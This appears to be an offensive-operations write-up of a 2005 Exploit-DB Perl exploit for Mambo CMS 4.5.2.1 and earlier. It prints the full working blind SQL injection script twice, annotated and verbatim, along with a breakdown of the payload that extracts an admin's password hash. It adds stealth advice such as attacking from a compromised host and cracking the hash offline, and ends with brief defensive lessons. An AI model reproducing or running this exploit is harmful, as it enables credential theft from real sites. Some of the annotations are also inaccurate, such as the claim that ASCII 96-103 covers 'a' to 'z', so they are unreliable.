Mambo 4.5.2.1 SQL Injection Exploit: A Deep Dive for Offensive Operations

Mambo 4.5.2.1 SQL Injection Exploit: A Deep Dive for Offensive Operations
What this paper is
This paper details a SQL injection vulnerability in Mambo CMS versions 4.5.2.1 and earlier, specifically when Mambo is configured with MySQL version 4.1. The exploit, authored by 1dt.w0lf of RST/GHC, demonstrates how to extract a user's password hash by leveraging a flaw in how the application handles user votes and content viewing. It's a classic example of a blind SQL injection attack.
Simple technical breakdown
The exploit works by sending specially crafted HTTP requests to the Mambo web application. It targets a voting mechanism within the com_content component. By manipulating the id parameter in the voting request, the attacker can inject SQL code.
The core idea is to use the application's response to infer information about the database. The exploit doesn't directly display the password. Instead, it uses a technique called "blind SQL injection" where it asks the database a series of true/false questions about the password's characters.
Here's the simplified flow:
- Targeted Request: The exploit sends a
GETrequest to the Mambo site, specifically to the voting functionality. - SQL Injection: Within this request, it injects a SQL query that attempts to extract one character at a time from the target user's password hash.
- Conditional Logic: The injected SQL uses
IFstatements and compares the ASCII value of a specific character from the password against a known value. - Response Analysis: The exploit then sends a second, normal
GETrequest to view content. It analyzes the response of this second request. If the injected SQL query evaluated to "true" (meaning the character matched the condition), the application's response will contain a specific, unique string (1145711457). If it evaluated to "false," this string will not be present. - Brute-Force: The exploit iteratively tries to guess each character of the password by adjusting the ASCII value it's checking. It starts by checking a range of possible ASCII values and narrows it down using a binary search-like approach.
- Password Reconstruction: As each character is successfully identified, it's appended to a growing string, eventually revealing the full password hash.
Complete code and payload walkthrough
The provided Perl script automates the blind SQL injection process. Let's break down its components:
#!/usr/bin/perl
### Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf , 21.06.05
### http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket; # Imports the module for network socket operations.
if (@ARGV < 3) { &usage; } # Checks if at least 3 command-line arguments are provided. If not, calls the 'usage' subroutine.
$server = $ARGV[0]; # Assigns the first argument (target server hostname/IP) to $server.
$path = $ARGV[1]; # Assigns the second argument (path to Mambo installation) to $path.
$member_id = $ARGV[2]; # Assigns the third argument (target user ID) to $member_id.
$news_id = 1; # Initializes a fixed 'news_id' for the exploit.
$news_itemid = 1; # Initializes a fixed 'news_itemid' for the exploit.
$server =~ s!(http:\/\/)!!; # Removes "http://" from the server string if present, simplifying URL construction.
$request = 'http://'; # Starts building a base request URL.
$request .= $server; # Appends the server.
$request .= $path; # Appends the path.
$s_num = 1; # Initializes a counter for the character position being guessed.
$|++; # Enables autoflush for STDOUT, ensuring immediate output.
$n = 0; # Initializes a counter for the total number of checks performed.
&head; # Calls the 'head' subroutine to print the banner.
print "\r\n";
print " [~] SERVER : $server\r\n"; # Prints target server details.
print " [~] PATH : $path\r\n"; # Prints target path details.
print " [~] USER ID : $member_id\r\n"; # Prints target user ID.
print " [~] SEARCHING PASSWORD ... [|]"; # Starts the progress indicator.
while(1) # Main loop for character guessing.
{
if(&found(47,58)==0) { &found(96,103); } # This is the core logic for character guessing.
# It first tries to find characters in the ASCII range 47-58 (which includes digits '0'-'9').
# If that fails (returns 0), it tries the range 96-103 (which includes lowercase letters 'a'-'z').
# The 'found' subroutine performs a binary search within the given ASCII ranges.
$char = $i; # $i is set by the 'found' subroutine, representing the guessed character's ASCII value.
if ($char=="0") # If $char is 0, it means no character was found in the attempted ranges.
{
if(length($allchar) > 0){ # If any characters were successfully found previously.
print qq{\b\b DONE ]
---------------------------------------------------------------
USER ID : $member_id
HASH : $allchar # Prints the successfully extracted password hash.
---------------------------------------------------------------
};
}
else # If $char is 0 and $allchar is empty, the exploit failed.
{
print "\b\b FAILED ]";
}
exit(); # Exits the script.
}
else
{
$allchar .= chr($char); # Appends the successfully guessed character to the $allchar string.
}
$s_num++; # Increments the character position counter.
}
sub found($$) # Binary search subroutine to find a character's ASCII value.
{
my $fmin = $_[0]; # Minimum ASCII value in the current search range.
my $fmax = $_[1]; # Maximum ASCII value in the current search range.
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } # If the range is small (less than 5), switch to a linear 'crack' search.
$r = int($fmax - ($fmax-$fmin)/2); # Calculates the midpoint for binary search.
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax"; # Constructs a SQL snippet to check if the target character's ASCII value is between $r and $fmax.
if ( &check($check) ) { &found($r,$fmax); } # If the check is true, the character is in the upper half of the range. Recurse on the upper half.
else { &found($fmin,$r); } # Otherwise, the character is in the lower half. Recurse on the lower half.
}
sub crack($$) # Linear search subroutine for small ASCII ranges.
{
my $cmin = $_[0]; # Minimum ASCII value.
my $cmax = $_[1]; # Maximum ASCII value.
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i"; # Constructs a SQL snippet to check if the target character's ASCII value is exactly $i.
if ( &check($crcheck) ) { return $i; } # If the check is true, we found the character. Return its ASCII value.
$i++;
}
$i = 0; # If no character is found in the range, return 0.
return $i;
}
sub check($) # The core function that sends the SQL injection and checks the response.
{
$n++; # Increments the total check counter.
status(); # Updates the progress spinner.
$ccheck = $_[0]; # The SQL snippet to check (e.g., "BETWEEN 50 AND 100" or "=65").
# Constructing the first socket connection for the SQL injection.
$sock1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
# This printf statement sends the malicious GET request.
printf $sock1 ("GET %sindex.php?option=com_content&task=vote&id=%d&Itemid=%d&cid=1&user_rating=1,rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)),lastip=666/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path, # Path to Mambo installation.
$news_id, # Fixed news ID.
$news_itemid, # Fixed item ID.
$member_id, # The user ID whose password we are trying to extract.
$s_num, # The position of the character we are currently guessing (1-based index).
$ccheck, # The SQL condition being tested (e.g., "BETWEEN 50 AND 100" or "=65").
$server # Host header.
);
sleep 1; # Short pause to allow the server to process the first request.
# Constructing the second socket connection for the verification request.
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
# This printf statement sends a normal GET request to view content.
printf $sock2 ("%sindex.php?option=com_content&task=view&id=%d&Itemid=%d&cid=1 HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path, # Path to Mambo installation.
$news_id, # Fixed news ID.
$news_itemid, # Fixed item ID.
$server # Host header.
);
# Reading the response from the verification request.
while(<$sock2>)
{
if (/1145711457/) { return 1; } # If the unique string "1145711457" is found in the response, it means the injected SQL condition was TRUE.
}
return 0; # If the unique string is not found, the injected SQL condition was FALSE.
}
sub status() # Updates the progress spinner.
{
$status = $n % 5; # Cycles through 0, 1, 2, 3, 4.
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage() # Prints usage instructions.
{
&head;
print q(
USAGE
r57mambo.pl [HOST] [/FOLDER/] [USER_ID]
OPTIONS
HOST - Host where mambo installed
FOLDER - Folder where mambo installed
USER_ID - User ID for brute (default is 62 for admin)
E.G.
r57mambo.pl http://blah.com /mambo/ 62
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head() # Prints the exploit banner.
{
print q(
---------------------------------------------------------------
Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-06-21]
Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl: Shebang line, indicates the script should be executed with Perl.use IO::Socket;: Imports the Perl module for network communication, enabling HTTP requests.if (@ARGV < 3) { &usage; }: Argument validation. Ensures the user provides the necessary host, path, and user ID.$server = $ARGV[0];,$path = $ARGV[1];,$member_id = $ARGV[2];: Command-line argument parsing.$server =~ s!(http:\/\/)!!;: Normalizes the server input by removing the protocol prefix.$s_num = 1;,$n = 0;: Initialization of counters for character position and total requests.$|++;: Enables immediate output flushing, crucial for seeing progress.while(1) { ... }: The main loop that iterates until the password hash is found or the exploit fails.if(&found(47,58)==0) { &found(96,103); }: The core logic for character guessing. It attempts to find digits first (ASCII 47-58), then lowercase letters (ASCII 96-103).$char = $i;: Assigns the found ASCII character value to$char.if ($char=="0") { ... } else { $allchar .= chr($char); }: Checks if a character was found. If yes, appends it to$allchar; otherwise, indicates failure.$s_num++;: Increments the character position counter for the next iteration.sub found($$) { ... }: Implements a binary search algorithm to efficiently narrow down the possible ASCII value of a character within a given range.$r = int($fmax - ($fmax-$fmin)/2);: Midpoint calculation for binary search.$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";: SQL string used in thecheckfunction to test a range.if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); }: Recursive calls tofoundbased on the result ofcheck.sub crack($$) { ... }: A linear search function used when the range forfoundbecomes very small. It iterates through each possible ASCII value.$crcheck = "=$i";: SQL string used incheckfor exact value comparison.sub check($) { ... }: The heart of the exploit. It constructs and sends two HTTP requests.- First
printf(malicious request):GET %sindex.php?option=com_content&task=vote&id=%d&Itemid=%d&cid=1&user_rating=1,rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)),lastip=666/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n- This request targets
com_contentwithtask=vote. - The
idparameter is manipulated to inject SQL. rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)): This is the core SQL injection.SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d: Selects the password from themos_userstable for the given user ID.substring(...,%d,1): Extracts one character at the position specified by$s_num.ascii(...): Gets the ASCII value of that character.ascii(...) %s: Compares the ASCII value against the condition provided by$ccheck(e.g.,=65orBETWEEN 48 AND 57).if(condition, 1145711457, 0): If the condition is true, it returns the large number1145711457; otherwise, it returns0.
- The
user_rating=1andlastip=666are likely there to make the request look more like a legitimate vote and to fill out parameters.
- Second
printf(verification request):%sindex.php?option=com_content&task=view&id=%d&Itemid=%d&cid=1 HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n- This is a standard request to view content. Its purpose is to trigger the application's response that will be analyzed.
while(<$sock2>) { if (/1145711457/) { return 1; } }: Reads the response from the second request. If the unique string1145711457is found, it signifies that the injected SQL condition was true, and the function returns1(true).
- First
sub status() { ... }: Provides a simple animated spinner in the console for visual feedback.sub usage() { ... }: Displays help information if the script is run with incorrect arguments.sub head() { ... }: Prints the exploit's banner.
Shellcode/Payload Segments:
There is no traditional shellcode in this exploit. The "payload" is the SQL injection itself, which is embedded within the HTTP requests. The exploit's goal is to exfiltrate data (the password hash), not to execute arbitrary code on the server.
The SQL injection payload is dynamically constructed:SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)
This payload is designed to:
- Extract a single character:
substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d: Retrieves the password from themos_userstable for the specified$member_id.substring(..., %d, 1): Extracts the character at the position$s_num(the current character position being guessed).
- Get its ASCII value:
ascii(...) - Compare it:
%s(where$ccheckis substituted, e.g.,=65orBETWEEN 48 AND 57). - Return a distinct value:
if(condition, 1145711457, 0)- If the comparison is true, return
1145711457. - If the comparison is false, return
0.
- If the comparison is true, return
The exploit then checks the HTTP response for the presence of 1145711457 to determine if the condition was met.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (HTTP/S ports, typically 80/443). No prior authentication or local access is required.
- Lab Preconditions:
- A Mambo 4.5.2.1 (or earlier) installation with MySQL 4.1.
- A user account within Mambo for which the password hash is desired.
- The
com_contentcomponent must be enabled and functional. - The voting functionality within
com_contentmust be accessible and not disabled by configuration or other security measures. - The web server must be configured to allow the specific SQL syntax used in the exploit.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- Basic network connectivity.
- The exploit script itself (
r57mambo.pl).
- Execution Pitfalls:
- Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might block the unusual HTTP request patterns or the specific SQL syntax.
- Server Load/Rate Limiting: Sending numerous requests can trigger rate limiting or cause denial-of-service conditions, leading to detection or instability. The
sleep 1is a minimal attempt to mitigate this. - Database Configuration: If
sql_modeis set toNO_BACKSLASH_ESCAPESor similar strict modes, the exploit might fail. - Mambo/Component Updates: Even minor updates or patches to Mambo or its components could fix this vulnerability.
- Incorrect Path/Server: Typos in the server address or Mambo path will cause the exploit to fail.
- User ID Not Found: If the provided
$member_iddoes not exist, the exploit will likely fail to find any characters. - Character Set Issues: The exploit assumes ASCII characters. If the password hash uses a different character set or encoding, it might not be correctly interpreted.
- Long Passwords: The exploit might take a very long time to complete for long passwords, increasing the risk of detection.
- Non-Standard MySQL Version: While specified for MySQL 4.1, subtle differences in other MySQL versions might affect the
IFfunction orsubstringbehavior.
- Tradecraft Considerations:
- Reconnaissance: Confirm Mambo version and identify the target user ID. Tools like
whatwebor manual inspection ofrobots.txt,readme.html, or specific component URLs can help. - Stealth: The exploit is noisy. The large number of HTTP requests and the specific SQL syntax are highly indicative of an attack. Running this during off-peak hours or from a compromised host with good network anonymity is advisable.
- Payload Delivery: This exploit is delivered via direct HTTP requests, not by uploading a file or executing shellcode.
- Post-Exploitation: Once the password hash is obtained, it needs to be cracked offline using tools like Hashcat or John the Ripper. The hash format will be specific to Mambo's hashing algorithm at the time.
- Reconnaissance: Confirm Mambo version and identify the target user ID. Tools like
Where this was used and when
- Context: This exploit targets a specific vulnerability in Mambo CMS, a popular content management system in the early to mid-2000s. It was commonly found on websites built with Mambo.
- Timeframe: The exploit was published in June 2005. Vulnerabilities of this nature were prevalent in web applications during this period as security practices were less mature. Mambo itself was a precursor to Joomla!, which forked from Mambo in 2005. Therefore, this vulnerability would have been relevant for Mambo installations from its publication date until the vulnerability was patched or the system was migrated.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate and sanitize all user-supplied input, especially when it's used in database queries. Meticulous checking of parameters like
id,task, and any other dynamic values is crucial. - Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements provided by the programming language or database connector. These separate SQL code from data, preventing injection.
- Least Privilege Principle: Database accounts used by web applications should have only the minimum necessary privileges. Avoid granting broad
SELECTpermissions on sensitive tables likeusersto generic application accounts. - Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including SQL injection attempts. Keep WAF rules updated.
- Regular Patching and Updates: Keep all CMS, frameworks, libraries, and underlying software (web server, database) up to date with the latest security patches. This exploit targets a known, old version.
- Error Handling: Configure web applications to not reveal detailed database error messages to end-users, as these can provide valuable information to attackers.
- Monitoring and Logging: Implement robust logging for web server access and database queries. Monitor logs for suspicious patterns, such as repeated failed requests, unusual query structures, or unexpected data exfiltration.
- Security Audits and Code Reviews: Regularly perform security audits and code reviews of web applications to identify and remediate vulnerabilities before they can be exploited.
ASCII visual (if applicable)
This exploit relies on a sequence of HTTP requests and responses, making a simple flow diagram illustrative.
+-----------------+ +-----------------+ +-----------------+
| Attacker's |----->| Target Mambo |----->| Target MySQL |
| Machine | | Web Server | | Database |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Malicious GET |
| (SQL Injection) |
|----------------------->|
| | SQL Query Execution
| | (e.g., SELECT IF(ascii(substring(...)) = X, 1145711457, 0))
| |------------------------------------->
| | |
| | | Response (True/False logic)
| |<-------------------------------------|
| |
| 2. Verification GET |
| (Normal Request) |
|----------------------->|
| |
| 3. Analyze Response |
| (Look for 1145711457)|
|<-----------------------|
| |
| (Repeat for each char) |
| |
+-----------------+ +-----------------+
| Attacker's | | Target Mambo |
| Machine | | Web Server |
| (Reconstructs | +-----------------+
| Password Hash) |
+-----------------+Source references
- Paper URL: https://www.exploit-db.com/papers/1061
- Raw Exploit URL: https://www.exploit-db.com/raw/1061
- Author: 1dt.w0lf (RST/GHC)
- Publication Date: 2005-06-21
- Vulnerable Software: Mambo CMS <= 4.5.2.1
- Database: MySQL => 4.1
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
### Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf , 21.06.05
### http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
if (@ARGV < 3) { &usage; }
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$news_id = 1;
$news_itemid = 1;
$server =~ s!(http:\/\/)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] SERVER : $server\r\n";
print " [~] PATH : $path\r\n";
print " [~] USER ID : $member_id\r\n";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
---------------------------------------------------------------
USER ID : $member_id
HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$sock1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock1 ("GET %sindex.php?option=com_content&task=vote&id=%d&Itemid=%d&cid=1&user_rating=1,rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)),lastip=666/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path,$news_id,$news_itemid,$member_id,$s_num,$ccheck,$server);
sleep 1;
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock2 ("GET %sindex.php?option=com_content&task=view&id=%d&Itemid=%d&cid=1 HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path,$news_id,$news_itemid,$server);
while(<$sock2>)
{
if (/1145711457/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
&head;
print q(
USAGE
r57mambo.pl [HOST] [/FOLDER/] [USER_ID]
OPTIONS
HOST - Host where mambo installed
FOLDER - Folder where mambo installed
USER_ID - User ID for brute (default is 62 for admin)
E.G.
r57mambo.pl http://blah.com /mambo/ 62
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-06-21]